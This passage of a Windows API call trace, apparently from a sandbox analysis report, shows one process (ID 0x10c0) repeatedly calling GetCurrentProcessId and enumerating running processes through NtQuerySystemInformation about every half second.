returned 0x10c0 [0278.078] GetCurrentProcessId () returned 0x10c0 [0278.079] GetCurrentProcessId () returned 0x10c0 [0278.079] GetCurrentProcessId () returned 0x10c0 [0278.079] GetCurrentProcessId () returned 0x10c0 [0278.079] GetCurrentProcessId () returned 0x10c0 [0278.079] GetCurrentProcessId () returned 0x10c0 [0278.079] GetCurrentProcessId () returned 0x10c0 [0278.079] GetCurrentProcessId () returned 0x10c0 [0278.079] GetCurrentProcessId () returned 0x10c0 [0278.079] GetCurrentProcessId () returned 0x10c0 [0278.079] GetCurrentProcessId () returned 0x10c0 [0278.079] GetCurrentProcessId () returned 0x10c0 [0278.079] GetCurrentProcessId () returned 0x10c0 [0278.079] GetCurrentProcessId () returned 0x10c0 [0278.079] GetCurrentProcessId () returned 0x10c0 [0278.079] GetCurrentProcessId () returned 0x10c0 [0278.079] GetCurrentProcessId () returned 0x10c0 [0278.079] GetCurrentProcessId () returned 0x10c0 [0278.079] GetCurrentProcessId () returned 0x10c0 [0278.079] GetCurrentProcessId () returned 0x10c0 [0278.079] GetCurrentProcessId () returned 0x10c0 [0278.079] GetCurrentProcessId () returned 0x10c0 [0278.079] GetCurrentProcessId () returned 0x10c0 [0278.080] GetCurrentProcessId () returned 0x10c0 [0278.080] GetCurrentProcessId () returned 0x10c0 [0278.080] GetCurrentProcessId () returned 0x10c0 [0278.080] GetCurrentProcessId () returned 0x10c0 [0278.080] GetCurrentProcessId () returned 0x10c0 [0278.080] GetCurrentProcessId () returned 0x10c0 [0278.080] GetCurrentProcessId () returned 0x10c0 [0278.080] GetCurrentProcessId () returned 0x10c0 [0278.080] GetCurrentProcessId () returned 0x10c0 [0278.080] GetCurrentProcessId () returned 0x10c0 [0278.080] GetCurrentProcessId () returned 0x10c0 [0278.080] GetCurrentProcessId () returned 0x10c0 [0278.080] GetCurrentProcessId () returned 0x10c0 [0278.080] GetCurrentProcessId () returned 0x10c0 [0278.080] GetCurrentProcessId () returned 0x10c0 [0278.080] GetCurrentProcessId () returned 0x10c0 [0278.080] GetCurrentProcessId () returned 0x10c0 [0278.080] GetCurrentProcessId () returned 0x10c0 [0278.080] GetCurrentProcessId () returned 0x10c0 [0278.080] GetCurrentProcessId () returned 0x10c0 [0278.080] GetCurrentProcessId () returned 0x10c0 [0278.080] GetCurrentProcessId () returned 0x10c0 [0278.080] GetCurrentProcessId () returned 0x10c0 [0278.081] GetCurrentProcessId () returned 0x10c0 [0278.081] GetCurrentProcessId () returned 0x10c0 [0278.081] GetCurrentProcessId () returned 0x10c0 [0278.081] GetCurrentProcessId () returned 0x10c0 [0278.081] GetCurrentProcessId () returned 0x10c0 [0278.081] GetCurrentProcessId () returned 0x10c0 [0278.081] GetCurrentProcessId () returned 0x10c0 [0278.081] GetCurrentProcessId () returned 0x10c0 [0278.081] GetCurrentProcessId () returned 0x10c0 [0278.081] GetCurrentProcessId () returned 0x10c0 [0278.081] GetCurrentProcessId () returned 0x10c0 [0278.081] GetCurrentProcessId () returned 0x10c0 [0278.081] GetCurrentProcessId () returned 0x10c0 [0278.081] GetCurrentProcessId () returned 0x10c0 [0278.081] GetCurrentProcessId () returned 0x10c0 [0278.081] GetCurrentProcessId () returned 0x10c0 [0278.081] GetCurrentProcessId () returned 0x10c0 [0278.081] GetCurrentProcessId () returned 0x10c0 [0278.081] GetCurrentProcessId () returned 0x10c0 [0278.081] GetCurrentProcessId () returned 0x10c0 [0278.081] GetCurrentProcessId () returned 0x10c0 [0278.081] GetCurrentProcessId () returned 0x10c0 [0278.081] GetCurrentProcessId () returned 0x10c0 [0278.081] GetCurrentProcessId () returned 0x10c0 [0278.081] GetCurrentProcessId () returned 0x10c0 [0278.082] GetCurrentProcessId () returned 0x10c0 [0278.082] GetCurrentProcessId () returned 0x10c0 [0278.082] GetCurrentProcessId () returned 0x10c0 [0278.082] GetCurrentProcessId () returned 0x10c0 [0278.082] GetCurrentProcessId () returned 0x10c0 [0278.082] GetCurrentProcessId () returned 0x10c0 [0278.082] GetCurrentProcessId () returned 0x10c0 [0278.082] GetCurrentProcessId () returned 0x10c0 [0278.082] GetCurrentProcessId () returned 0x10c0 [0278.082] GetCurrentProcessId () returned 0x10c0 [0278.082] GetCurrentProcessId () returned 0x10c0 [0278.082] GetCurrentProcessId () returned 0x10c0 [0278.082] GetCurrentProcessId () returned 0x10c0 [0278.082] GetCurrentProcessId () returned 0x10c0 [0278.082] GetCurrentProcessId () returned 0x10c0 [0278.082] GetCurrentProcessId () returned 0x10c0 [0278.082] GetCurrentProcessId () returned 0x10c0 [0278.082] GetCurrentProcessId () returned 0x10c0 [0278.082] GetCurrentProcessId () returned 0x10c0 [0278.082] GetCurrentProcessId () returned 0x10c0 [0278.082] GetCurrentProcessId () returned 0x10c0 [0278.082] GetCurrentProcessId () returned 0x10c0 [0278.602] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12517c70, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x12517c70, ResultLength=0x1b7becb0*=0x1de48) returned 0x0 [0278.604] GetCurrentProcessId () returned 0x10c0 [0278.604] GetCurrentProcessId () returned 0x10c0 [0278.604] GetCurrentProcessId () returned 0x10c0 [0278.604] GetCurrentProcessId () returned 0x10c0 [0278.604] GetCurrentProcessId () returned 0x10c0 [0278.604] GetCurrentProcessId () returned 0x10c0 [0278.604] GetCurrentProcessId () returned 0x10c0 [0278.604] GetCurrentProcessId () returned 0x10c0 [0278.604] GetCurrentProcessId () returned 0x10c0 [0278.604] GetCurrentProcessId () returned 0x10c0 [0278.604] GetCurrentProcessId () returned 0x10c0 [0278.604] GetCurrentProcessId () returned 0x10c0 [0278.604] GetCurrentProcessId () returned 0x10c0 [0278.604] GetCurrentProcessId () returned 0x10c0 [0278.604] GetCurrentProcessId () returned 0x10c0 [0278.604] GetCurrentProcessId () returned 0x10c0 [0278.604] GetCurrentProcessId () returned 0x10c0 [0278.604] GetCurrentProcessId () returned 0x10c0 [0278.605] GetCurrentProcessId () returned 0x10c0 [0278.605] GetCurrentProcessId () returned 0x10c0 [0278.605] GetCurrentProcessId () returned 0x10c0 [0278.605] GetCurrentProcessId () returned 0x10c0 [0278.605] GetCurrentProcessId () returned 0x10c0 [0278.605] GetCurrentProcessId () returned 0x10c0 [0278.605] GetCurrentProcessId () returned 0x10c0 [0278.605] GetCurrentProcessId () returned 0x10c0 [0278.605] GetCurrentProcessId () returned 0x10c0 [0278.605] GetCurrentProcessId () returned 0x10c0 [0278.605] GetCurrentProcessId () returned 0x10c0 [0278.605] GetCurrentProcessId () returned 0x10c0 [0278.605] GetCurrentProcessId () returned 0x10c0 [0278.605] GetCurrentProcessId () returned 0x10c0 [0278.605] GetCurrentProcessId () returned 0x10c0 [0278.605] GetCurrentProcessId () returned 0x10c0 [0278.605] GetCurrentProcessId () returned 0x10c0 [0278.605] GetCurrentProcessId () returned 0x10c0 [0278.605] GetCurrentProcessId () returned 0x10c0 [0278.605] GetCurrentProcessId () returned 0x10c0 [0278.606] GetCurrentProcessId () returned 0x10c0 [0278.606] GetCurrentProcessId () returned 0x10c0 [0278.606] GetCurrentProcessId () returned 0x10c0 [0278.606] GetCurrentProcessId () returned 0x10c0 [0278.606] GetCurrentProcessId () returned 0x10c0 [0278.606] GetCurrentProcessId () returned 0x10c0 [0278.606] GetCurrentProcessId () returned 0x10c0 [0278.606] GetCurrentProcessId () returned 0x10c0 [0278.606] GetCurrentProcessId () returned 0x10c0 [0278.606] GetCurrentProcessId () returned 0x10c0 [0278.606] GetCurrentProcessId () returned 0x10c0 [0278.606] GetCurrentProcessId () returned 0x10c0 [0278.606] GetCurrentProcessId () returned 0x10c0 [0278.606] GetCurrentProcessId () returned 0x10c0 [0278.606] GetCurrentProcessId () returned 0x10c0 [0278.606] GetCurrentProcessId () returned 0x10c0 [0278.606] GetCurrentProcessId () returned 0x10c0 [0278.606] GetCurrentProcessId () returned 0x10c0 [0278.606] GetCurrentProcessId () returned 0x10c0 [0278.606] GetCurrentProcessId () returned 0x10c0 [0278.606] GetCurrentProcessId () returned 0x10c0 [0278.606] GetCurrentProcessId () returned 0x10c0 [0278.606] GetCurrentProcessId () returned 0x10c0 [0278.606] GetCurrentProcessId () returned 0x10c0 [0278.606] GetCurrentProcessId () returned 0x10c0 [0278.606] GetCurrentProcessId () returned 0x10c0 [0278.606] GetCurrentProcessId () returned 0x10c0 [0278.606] GetCurrentProcessId () returned 0x10c0 [0278.606] GetCurrentProcessId () returned 0x10c0 [0278.606] GetCurrentProcessId () returned 0x10c0 [0278.606] GetCurrentProcessId () returned 0x10c0 [0278.607] GetCurrentProcessId () returned 0x10c0 [0278.607] GetCurrentProcessId () returned 0x10c0 [0278.607] GetCurrentProcessId () returned 0x10c0 [0278.607] GetCurrentProcessId () returned 0x10c0 [0278.607] GetCurrentProcessId () returned 0x10c0 [0278.607] GetCurrentProcessId () returned 0x10c0 [0278.607] GetCurrentProcessId () returned 0x10c0 [0278.607] GetCurrentProcessId () returned 0x10c0 [0278.607] GetCurrentProcessId () returned 0x10c0 [0278.607] GetCurrentProcessId () returned 0x10c0 [0278.607] GetCurrentProcessId () returned 0x10c0 [0278.607] GetCurrentProcessId () returned 0x10c0 [0278.607] GetCurrentProcessId () returned 0x10c0 [0278.607] GetCurrentProcessId () returned 0x10c0 [0278.607] GetCurrentProcessId () returned 0x10c0 [0278.607] GetCurrentProcessId () returned 0x10c0 [0278.607] GetCurrentProcessId () returned 0x10c0 [0278.607] GetCurrentProcessId () returned 0x10c0 [0278.607] GetCurrentProcessId () returned 0x10c0 [0278.607] GetCurrentProcessId () returned 0x10c0 [0278.607] GetCurrentProcessId () returned 0x10c0 [0278.607] GetCurrentProcessId () returned 0x10c0 [0278.607] GetCurrentProcessId () returned 0x10c0 [0278.607] GetCurrentProcessId () returned 0x10c0 [0278.607] GetCurrentProcessId () returned 0x10c0 [0278.607] GetCurrentProcessId () returned 0x10c0 [0278.608] GetCurrentProcessId () returned 0x10c0 [0278.608] GetCurrentProcessId () returned 0x10c0 [0278.608] GetCurrentProcessId () returned 0x10c0 [0278.608] GetCurrentProcessId () returned 0x10c0 [0278.608] GetCurrentProcessId () returned 0x10c0 [0278.608] GetCurrentProcessId () returned 0x10c0 [0278.608] GetCurrentProcessId () returned 0x10c0 [0278.608] GetCurrentProcessId () returned 0x10c0 [0278.608] GetCurrentProcessId () returned 0x10c0 [0278.608] GetCurrentProcessId () returned 0x10c0 [0278.608] GetCurrentProcessId () returned 0x10c0 [0278.608] GetCurrentProcessId () returned 0x10c0 [0278.608] GetCurrentProcessId () returned 0x10c0 [0278.608] GetCurrentProcessId () returned 0x10c0 [0278.608] GetCurrentProcessId () returned 0x10c0 [0278.608] GetCurrentProcessId () returned 0x10c0 [0278.608] GetCurrentProcessId () returned 0x10c0 [0278.608] GetCurrentProcessId () returned 0x10c0 [0279.121] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12517c70, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x12517c70, ResultLength=0x1b7becb0*=0x1de48) returned 0x0 [0279.123] GetCurrentProcessId () returned 0x10c0 [0279.123] GetCurrentProcessId () returned 0x10c0 [0279.123] GetCurrentProcessId () returned 0x10c0 [0279.123] GetCurrentProcessId () returned 0x10c0 [0279.123] GetCurrentProcessId () returned 0x10c0 [0279.123] GetCurrentProcessId () returned 0x10c0 [0279.123] GetCurrentProcessId () returned 0x10c0 [0279.123] GetCurrentProcessId () returned 0x10c0 [0279.123] GetCurrentProcessId () returned 0x10c0 [0279.124] GetCurrentProcessId () returned 0x10c0 [0279.124] GetCurrentProcessId () returned 0x10c0 [0279.124] GetCurrentProcessId () returned 0x10c0 [0279.124] GetCurrentProcessId () returned 0x10c0 [0279.124] GetCurrentProcessId () returned 0x10c0 [0279.124] GetCurrentProcessId () returned 0x10c0 [0279.124] GetCurrentProcessId () returned 0x10c0 [0279.124] GetCurrentProcessId () returned 0x10c0 [0279.124] GetCurrentProcessId () returned 0x10c0 [0279.124] GetCurrentProcessId () returned 0x10c0 [0279.124] GetCurrentProcessId () returned 0x10c0 [0279.124] GetCurrentProcessId () returned 0x10c0 [0279.124] GetCurrentProcessId () returned 0x10c0 [0279.124] GetCurrentProcessId () returned 0x10c0 [0279.124] GetCurrentProcessId () returned 0x10c0 [0279.124] GetCurrentProcessId () returned 0x10c0 [0279.124] GetCurrentProcessId () returned 0x10c0 [0279.124] GetCurrentProcessId () returned 0x10c0 [0279.124] GetCurrentProcessId () returned 0x10c0 [0279.124] GetCurrentProcessId () returned 0x10c0 [0279.124] GetCurrentProcessId () returned 0x10c0 [0279.124] GetCurrentProcessId () returned 0x10c0 [0279.124] GetCurrentProcessId () returned 0x10c0 [0279.124] GetCurrentProcessId () returned 0x10c0 [0279.125] GetCurrentProcessId () returned 0x10c0 [0279.125] GetCurrentProcessId () returned 0x10c0 [0279.125] GetCurrentProcessId () returned 0x10c0 [0279.125] GetCurrentProcessId () returned 0x10c0 [0279.125] GetCurrentProcessId () returned 0x10c0 [0279.125] GetCurrentProcessId () returned 0x10c0 [0279.125] GetCurrentProcessId () returned 0x10c0 [0279.125] GetCurrentProcessId () returned 0x10c0 [0279.125] GetCurrentProcessId () returned 0x10c0 [0279.125] GetCurrentProcessId () returned 0x10c0 [0279.125] GetCurrentProcessId () returned 0x10c0 [0279.125] GetCurrentProcessId () returned 0x10c0 [0279.125] GetCurrentProcessId () returned 0x10c0 [0279.125] GetCurrentProcessId () returned 0x10c0 [0279.125] GetCurrentProcessId () returned 0x10c0 [0279.125] GetCurrentProcessId () returned 0x10c0 [0279.125] GetCurrentProcessId () returned 0x10c0 [0279.125] GetCurrentProcessId () returned 0x10c0 [0279.125] GetCurrentProcessId () returned 0x10c0 [0279.125] GetCurrentProcessId () returned 0x10c0 [0279.125] GetCurrentProcessId () returned 0x10c0 [0279.125] GetCurrentProcessId () returned 0x10c0 [0279.125] GetCurrentProcessId () returned 0x10c0 [0279.126] GetCurrentProcessId () returned 0x10c0 [0279.126] GetCurrentProcessId () returned 0x10c0 [0279.126] GetCurrentProcessId () returned 0x10c0 [0279.126] GetCurrentProcessId () returned 0x10c0 [0279.126] GetCurrentProcessId () returned 0x10c0 [0279.126] GetCurrentProcessId () returned 0x10c0 [0279.126] GetCurrentProcessId () returned 0x10c0 [0279.126] GetCurrentProcessId () returned 0x10c0 [0279.126] GetCurrentProcessId () returned 0x10c0 [0279.126] GetCurrentProcessId () returned 0x10c0 [0279.126] GetCurrentProcessId () returned 0x10c0 [0279.126] GetCurrentProcessId () returned 0x10c0 [0279.126] GetCurrentProcessId () returned 0x10c0 [0279.126] GetCurrentProcessId () returned 0x10c0 [0279.126] GetCurrentProcessId () returned 0x10c0 [0279.126] GetCurrentProcessId () returned 0x10c0 [0279.126] GetCurrentProcessId () returned 0x10c0 [0279.126] GetCurrentProcessId () returned 0x10c0 [0279.126] GetCurrentProcessId () returned 0x10c0 [0279.126] GetCurrentProcessId () returned 0x10c0 [0279.126] GetCurrentProcessId () returned 0x10c0 [0279.127] GetCurrentProcessId () returned 0x10c0 [0279.127] GetCurrentProcessId () returned 0x10c0 [0279.127] GetCurrentProcessId () returned 0x10c0 [0279.127] GetCurrentProcessId () returned 0x10c0 [0279.127] GetCurrentProcessId () returned 0x10c0 [0279.127] GetCurrentProcessId () returned 0x10c0 [0279.127] GetCurrentProcessId () returned 0x10c0 [0279.127] GetCurrentProcessId () returned 0x10c0 [0279.127] GetCurrentProcessId () returned 0x10c0 [0279.127] GetCurrentProcessId () returned 0x10c0 [0279.127] GetCurrentProcessId () returned 0x10c0 [0279.127] GetCurrentProcessId () returned 0x10c0 [0279.127] GetCurrentProcessId () returned 0x10c0 [0279.127] GetCurrentProcessId () returned 0x10c0 [0279.127] GetCurrentProcessId () returned 0x10c0 [0279.127] GetCurrentProcessId () returned 0x10c0 [0279.127] GetCurrentProcessId () returned 0x10c0 [0279.127] GetCurrentProcessId () returned 0x10c0 [0279.127] GetCurrentProcessId () returned 0x10c0 [0279.127] GetCurrentProcessId () returned 0x10c0 [0279.127] GetCurrentProcessId () returned 0x10c0 [0279.128] GetCurrentProcessId () returned 0x10c0 [0279.128] GetCurrentProcessId () returned 0x10c0 [0279.128] GetCurrentProcessId () returned 0x10c0 [0279.128] GetCurrentProcessId () returned 0x10c0 [0279.128] GetCurrentProcessId () returned 0x10c0 [0279.128] GetCurrentProcessId () returned 0x10c0 [0279.128] GetCurrentProcessId () returned 0x10c0 [0279.128] GetCurrentProcessId () returned 0x10c0 [0279.128] GetCurrentProcessId () returned 0x10c0 [0279.128] GetCurrentProcessId () returned 0x10c0 [0279.128] GetCurrentProcessId () returned 0x10c0 [0279.128] GetCurrentProcessId () returned 0x10c0 [0279.128] GetCurrentProcessId () returned 0x10c0 [0279.128] GetCurrentProcessId () returned 0x10c0 [0279.128] GetCurrentProcessId () returned 0x10c0 [0279.728] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12517c70, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x12517c70, ResultLength=0x1b7becb0*=0x1de98) returned 0x0 [0279.751] GetCurrentProcessId () returned 0x10c0 [0279.751] GetCurrentProcessId () returned 0x10c0 [0279.751] GetCurrentProcessId () returned 0x10c0 [0279.752] GetCurrentProcessId () returned 0x10c0 [0279.752] GetCurrentProcessId () returned 0x10c0 [0279.752] GetCurrentProcessId () returned 0x10c0 [0279.752] GetCurrentProcessId () returned 0x10c0 [0279.752] GetCurrentProcessId () returned 0x10c0 [0279.752] GetCurrentProcessId () returned 0x10c0 [0279.752] GetCurrentProcessId () returned 0x10c0 [0279.752] GetCurrentProcessId () returned 0x10c0 [0279.752] GetCurrentProcessId () returned 0x10c0 [0279.752] GetCurrentProcessId () returned 0x10c0 [0279.752] GetCurrentProcessId () returned 0x10c0 [0279.752] GetCurrentProcessId () returned 0x10c0 [0279.752] GetCurrentProcessId () returned 0x10c0 [0279.752] GetCurrentProcessId () returned 0x10c0 [0279.752] GetCurrentProcessId () returned 0x10c0 [0279.752] GetCurrentProcessId () returned 0x10c0 [0279.752] GetCurrentProcessId () returned 0x10c0 [0279.753] GetCurrentProcessId () returned 0x10c0 [0279.753] GetCurrentProcessId () returned 0x10c0 [0279.753] GetCurrentProcessId () returned 0x10c0 [0279.753] GetCurrentProcessId () returned 0x10c0 [0279.753] GetCurrentProcessId () returned 0x10c0 [0279.753] GetCurrentProcessId () returned 0x10c0 [0279.753] GetCurrentProcessId () returned 0x10c0 [0279.753] GetCurrentProcessId () returned 0x10c0 [0279.753] GetCurrentProcessId () returned 0x10c0 [0279.753] GetCurrentProcessId () returned 0x10c0 [0279.753] GetCurrentProcessId () returned 0x10c0 [0279.753] GetCurrentProcessId () returned 0x10c0 [0279.753] GetCurrentProcessId () returned 0x10c0 [0279.753] GetCurrentProcessId () returned 0x10c0 [0279.753] GetCurrentProcessId () returned 0x10c0 [0279.753] GetCurrentProcessId () returned 0x10c0 [0279.753] GetCurrentProcessId () returned 0x10c0 [0279.753] GetCurrentProcessId () returned 0x10c0 [0279.753] GetCurrentProcessId () returned 0x10c0 [0279.753] GetCurrentProcessId () returned 0x10c0 [0279.753] GetCurrentProcessId () returned 0x10c0 [0279.753] GetCurrentProcessId () returned 0x10c0 [0279.754] GetCurrentProcessId () returned 0x10c0 [0279.754] GetCurrentProcessId () returned 0x10c0 [0279.754] GetCurrentProcessId () returned 0x10c0 [0279.754] GetCurrentProcessId () returned 0x10c0 [0279.754] GetCurrentProcessId () returned 0x10c0 [0279.754] GetCurrentProcessId () returned 0x10c0 [0279.754] GetCurrentProcessId () returned 0x10c0 [0279.754] GetCurrentProcessId () returned 0x10c0 [0279.754] GetCurrentProcessId () returned 0x10c0 [0279.754] GetCurrentProcessId () returned 0x10c0 [0279.754] GetCurrentProcessId () returned 0x10c0 [0279.754] GetCurrentProcessId () returned 0x10c0 [0279.754] GetCurrentProcessId () returned 0x10c0 [0279.754] GetCurrentProcessId () returned 0x10c0 [0279.754] GetCurrentProcessId () returned 0x10c0 [0279.754] GetCurrentProcessId () returned 0x10c0 [0279.754] GetCurrentProcessId () returned 0x10c0 [0279.754] GetCurrentProcessId () returned 0x10c0 [0279.754] GetCurrentProcessId () returned 0x10c0 [0279.754] GetCurrentProcessId () returned 0x10c0 [0279.754] GetCurrentProcessId () returned 0x10c0 [0279.754] GetCurrentProcessId () returned 0x10c0 [0279.754] GetCurrentProcessId () returned 0x10c0 [0279.754] GetCurrentProcessId () returned 0x10c0 [0279.755] GetCurrentProcessId () returned 0x10c0 [0279.755] GetCurrentProcessId () returned 0x10c0 [0279.755] GetCurrentProcessId () returned 0x10c0 [0279.755] GetCurrentProcessId () returned 0x10c0 [0279.755] GetCurrentProcessId () returned 0x10c0 [0279.755] GetCurrentProcessId () returned 0x10c0 [0279.755] GetCurrentProcessId () returned 0x10c0 [0279.755] GetCurrentProcessId () returned 0x10c0 [0279.755] GetCurrentProcessId () returned 0x10c0 [0279.755] GetCurrentProcessId () returned 0x10c0 [0279.755] GetCurrentProcessId () returned 0x10c0 [0279.755] GetCurrentProcessId () returned 0x10c0 [0279.755] GetCurrentProcessId () returned 0x10c0 [0279.755] GetCurrentProcessId () returned 0x10c0 [0279.755] GetCurrentProcessId () returned 0x10c0 [0279.755] GetCurrentProcessId () returned 0x10c0 [0279.755] GetCurrentProcessId () returned 0x10c0 [0279.755] GetCurrentProcessId () returned 0x10c0 [0279.755] GetCurrentProcessId () returned 0x10c0 [0279.755] GetCurrentProcessId () returned 0x10c0 [0279.755] GetCurrentProcessId () returned 0x10c0 [0279.755] GetCurrentProcessId () returned 0x10c0 [0279.755] GetCurrentProcessId () returned 0x10c0 [0279.755] GetCurrentProcessId () returned 0x10c0 [0279.755] GetCurrentProcessId () returned 0x10c0 [0279.756] GetCurrentProcessId () returned 0x10c0 [0279.756] GetCurrentProcessId () returned 0x10c0 [0279.756] GetCurrentProcessId () returned 0x10c0 [0279.756] GetCurrentProcessId () returned 0x10c0 [0279.756] GetCurrentProcessId () returned 0x10c0 [0279.756] GetCurrentProcessId () returned 0x10c0 [0279.756] GetCurrentProcessId () returned 0x10c0 [0279.756] GetCurrentProcessId () returned 0x10c0 [0279.756] GetCurrentProcessId () returned 0x10c0 [0279.756] GetCurrentProcessId () returned 0x10c0 [0279.756] GetCurrentProcessId () returned 0x10c0 [0279.756] GetCurrentProcessId () returned 0x10c0 [0279.756] GetCurrentProcessId () returned 0x10c0 [0279.756] GetCurrentProcessId () returned 0x10c0 [0279.756] GetCurrentProcessId () returned 0x10c0 [0279.756] GetCurrentProcessId () returned 0x10c0 [0279.756] GetCurrentProcessId () returned 0x10c0 [0279.756] GetCurrentProcessId () returned 0x10c0 [0279.756] GetCurrentProcessId () returned 0x10c0 [0279.756] GetCurrentProcessId () returned 0x10c0 [0279.756] GetCurrentProcessId () returned 0x10c0 [0279.756] GetCurrentProcessId () returned 0x10c0 [0280.268] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12517c70, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x12517c70, ResultLength=0x1b7becb0*=0x1de98) returned 0x0 [0280.270] GetCurrentProcessId () returned 0x10c0 [0280.270] GetCurrentProcessId () returned 0x10c0 [0280.270] GetCurrentProcessId () returned 0x10c0 [0280.270] GetCurrentProcessId () returned 0x10c0 [0280.270] GetCurrentProcessId () returned 0x10c0 [0280.270] GetCurrentProcessId () returned 0x10c0 [0280.270] GetCurrentProcessId () returned 0x10c0 [0280.270] GetCurrentProcessId () returned 0x10c0 [0280.270] GetCurrentProcessId () returned 0x10c0 [0280.270] GetCurrentProcessId () returned 0x10c0 [0280.270] GetCurrentProcessId () returned 0x10c0 [0280.270] GetCurrentProcessId () returned 0x10c0 [0280.270] GetCurrentProcessId () returned 0x10c0 [0280.270] GetCurrentProcessId () returned 0x10c0 [0280.270] GetCurrentProcessId () returned 0x10c0 [0280.271] GetCurrentProcessId () returned 0x10c0 [0280.271] GetCurrentProcessId () returned 0x10c0 [0280.271] GetCurrentProcessId () returned 0x10c0 [0280.271] GetCurrentProcessId () returned 0x10c0 [0280.271] GetCurrentProcessId () returned 0x10c0 [0280.271] GetCurrentProcessId () returned 0x10c0 [0280.271] GetCurrentProcessId () returned 0x10c0 [0280.271] GetCurrentProcessId () returned 0x10c0 [0280.271] GetCurrentProcessId () returned 0x10c0 [0280.271] GetCurrentProcessId () returned 0x10c0 [0280.271] GetCurrentProcessId () returned 0x10c0 [0280.271] GetCurrentProcessId () returned 0x10c0 [0280.271] GetCurrentProcessId () returned 0x10c0 [0280.271] GetCurrentProcessId () returned 0x10c0 [0280.271] GetCurrentProcessId () returned 0x10c0 [0280.271] GetCurrentProcessId () returned 0x10c0 [0280.271] GetCurrentProcessId () returned 0x10c0 [0280.271] GetCurrentProcessId () returned 0x10c0 [0280.271] GetCurrentProcessId () returned 0x10c0 [0280.271] GetCurrentProcessId () returned 0x10c0 [0280.271] GetCurrentProcessId () returned 0x10c0 [0280.271] GetCurrentProcessId () returned 0x10c0 [0280.271] GetCurrentProcessId () returned 0x10c0 [0280.271] GetCurrentProcessId () returned 0x10c0 [0280.271] GetCurrentProcessId () returned 0x10c0 [0280.271] GetCurrentProcessId () returned 0x10c0 [0280.271] GetCurrentProcessId () returned 0x10c0 [0280.271] GetCurrentProcessId () returned 0x10c0 [0280.271] GetCurrentProcessId () returned 0x10c0 [0280.271] GetCurrentProcessId () returned 0x10c0 [0280.271] GetCurrentProcessId () returned 0x10c0 [0280.272] GetCurrentProcessId () returned 0x10c0 [0280.272] GetCurrentProcessId () returned 0x10c0 [0280.272] GetCurrentProcessId () returned 0x10c0 [0280.272] GetCurrentProcessId () returned 0x10c0 [0280.272] GetCurrentProcessId () returned 0x10c0 [0280.272] GetCurrentProcessId () returned 0x10c0 [0280.272] GetCurrentProcessId () returned 0x10c0 [0280.272] GetCurrentProcessId () returned 0x10c0 [0280.272] GetCurrentProcessId () returned 0x10c0 [0280.272] GetCurrentProcessId () returned 0x10c0 [0280.272] GetCurrentProcessId () returned 0x10c0 [0280.272] GetCurrentProcessId () returned 0x10c0 [0280.272] GetCurrentProcessId () returned 0x10c0 [0280.272] GetCurrentProcessId () returned 0x10c0 [0280.272] GetCurrentProcessId () returned 0x10c0 [0280.272] GetCurrentProcessId () returned 0x10c0 [0280.272] GetCurrentProcessId () returned 0x10c0 [0280.272] GetCurrentProcessId () returned 0x10c0 [0280.272] GetCurrentProcessId () returned 0x10c0 [0280.272] GetCurrentProcessId () returned 0x10c0 [0280.272] GetCurrentProcessId () returned 0x10c0 [0280.272] GetCurrentProcessId () returned 0x10c0 [0280.272] GetCurrentProcessId () returned 0x10c0 [0280.272] GetCurrentProcessId () returned 0x10c0 [0280.272] GetCurrentProcessId () returned 0x10c0 [0280.272] GetCurrentProcessId () returned 0x10c0 [0280.272] GetCurrentProcessId () returned 0x10c0 [0280.272] GetCurrentProcessId () returned 0x10c0 [0280.272] GetCurrentProcessId () returned 0x10c0 [0280.273] GetCurrentProcessId () returned 0x10c0 [0280.273] GetCurrentProcessId () returned 0x10c0 [0280.273] GetCurrentProcessId () returned 0x10c0 [0280.273] GetCurrentProcessId () returned 0x10c0 [0280.273] GetCurrentProcessId () returned 0x10c0 [0280.273] GetCurrentProcessId () returned 0x10c0 [0280.273] GetCurrentProcessId () returned 0x10c0 [0280.273] GetCurrentProcessId () returned 0x10c0 [0280.273] GetCurrentProcessId () returned 0x10c0 [0280.273] GetCurrentProcessId () returned 0x10c0 [0280.273] GetCurrentProcessId () returned 0x10c0 [0280.273] GetCurrentProcessId () returned 0x10c0 [0280.273] GetCurrentProcessId () returned 0x10c0 [0280.273] GetCurrentProcessId () returned 0x10c0 [0280.273] GetCurrentProcessId () returned 0x10c0 [0280.273] GetCurrentProcessId () returned 0x10c0 [0280.273] GetCurrentProcessId () returned 0x10c0 [0280.273] GetCurrentProcessId () returned 0x10c0 [0280.273] GetCurrentProcessId () returned 0x10c0 [0280.273] GetCurrentProcessId () returned 0x10c0 [0280.273] GetCurrentProcessId () returned 0x10c0 [0280.273] GetCurrentProcessId () returned 0x10c0 [0280.273] GetCurrentProcessId () returned 0x10c0 [0280.273] GetCurrentProcessId () returned 0x10c0 [0280.273] GetCurrentProcessId () returned 0x10c0 [0280.273] GetCurrentProcessId () returned 0x10c0 [0280.273] GetCurrentProcessId () returned 0x10c0 [0280.273] GetCurrentProcessId () returned 0x10c0 [0280.273] GetCurrentProcessId () returned 0x10c0 [0280.274] GetCurrentProcessId () returned 0x10c0 [0280.274] GetCurrentProcessId () returned 0x10c0 [0280.274] GetCurrentProcessId () returned 0x10c0 [0280.274] GetCurrentProcessId () returned 0x10c0 [0280.274] GetCurrentProcessId () returned 0x10c0 [0280.274] GetCurrentProcessId () returned 0x10c0 [0280.274] GetCurrentProcessId () returned 0x10c0 [0280.274] GetCurrentProcessId () returned 0x10c0 [0280.274] GetCurrentProcessId () returned 0x10c0 [0280.784] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12517c70, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x12517c70, ResultLength=0x1b7becb0*=0x1de98) returned 0x0 [0280.786] GetCurrentProcessId () returned 0x10c0 [0280.786] GetCurrentProcessId () returned 0x10c0 [0280.786] GetCurrentProcessId () returned 0x10c0 [0280.786] GetCurrentProcessId () returned 0x10c0 [0280.786] GetCurrentProcessId () returned 0x10c0 [0280.786] GetCurrentProcessId () returned 0x10c0 [0280.786] GetCurrentProcessId () returned 0x10c0 [0280.786] GetCurrentProcessId () returned 0x10c0 [0280.786] GetCurrentProcessId () returned 0x10c0 [0280.786] 